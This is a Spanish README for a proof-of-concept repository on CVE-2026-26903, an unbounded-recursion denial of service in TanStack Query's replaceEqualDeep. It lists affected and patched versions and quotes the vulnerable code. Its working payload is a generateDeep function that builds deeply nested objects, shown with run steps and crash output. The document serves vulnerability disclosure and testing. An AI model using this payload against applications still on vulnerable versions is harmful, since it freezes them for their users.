
Una PoC para demostrar CVE-2026-26903
Denegación de servicio mediante recursión ilimitada en la función replaceEqualDeep de TanStack Query
Una única actualización de consulta manipulada con objetos profundamente anidados puede congelar el hilo de JavaScript indefinidamente, provocando que la aplicación quede completamente sin respuesta. No se requiere autenticación ni permisos especiales.
Esta vulnerabilidad se corrigió en @tanstack/[email protected] mediante el PR #10032, publicado el 14 de enero de 2026.
| Paquete | Versión afectada | Versión corregida |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/vue-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/solid-query | depende de query-core vulnerable | 5.90.18+ |
| @tanstack/svelte-query | depende de query-core vulnerable | 6.1.7+ |
CVE-2026-26903: Denegación de servicio mediante recursión ilimitada en replaceEqualDeep (Gravedad: Media)
La función
replaceEqualDeepde TanStack Query realiza una comparación recursiva de objetos anidados sin límites de profundidad. Al procesar estructuras de datos profundamente anidadas, esto puede desencadenar una recursión ilimitada que provoca desbordamiento de pila y congelación de la aplicación.— Asignado a través de MITRE
La función replaceEqualDeep de TanStack Query se utiliza internamente para determinar si los datos de una consulta han cambiado realmente, optimizando los re-renderizados al conservar las referencias a objetos cuando es posible. La función recorre recursivamente las propiedades de los objetos para realizar una comparación de igualdad profunda.
La implementación recursiva carece de límites de profundidad o detección de ciclos:
function replaceEqualDeep(a, b) {
// ... comprobaciones de tipo ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... comprobaciones de igualdad superficial ...
// VULNERABLE: Recursión ilimitada aquí
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep con datos profundamente anidadosuseQuery con datos de respuesta anidadossetQueryData, invalidateQueries o cualquier operación de caché de consultasCVE-2026-26903-PoC/
├── README.md # Este archivo
├── LICENSE
├── poc.js # PoC de Node.js (caída por desbordamiento de pila)
└── tanstack-query-poc.html # PoC de navegador (demo visual interactiva)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Opción A: Demo HTML independiente (sin dependencias)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Opción B: Aplicación React (escenario realista)
cd examples/react-app-poc
npm install
npm start
# Navega a http://localhost:3000 y sigue las instrucciones en pantalla
El PoC genera objetos profundamente anidados y hace que replaceEqualDeep los procese:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Crea: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10.000 niveles de profundidad
const newData = generateDeep(10000); // Objeto diferente, misma estructura
// Esto provoca recursión ilimitada:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Nivel 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Nivel 2
├── replaceEqualDeep(...) // Nivel 3
└── ... (continúa durante 10.000 niveles)
Cada llamada recursiva añade un nuevo marco de pila hasta que la pila de llamadas del motor de JavaScript se agota, congelando el hilo.
Ubicación: @tanstack/query-core/src/utils.ts (aproximada)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: Sin límite de profundidad ni detección de ciclos
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}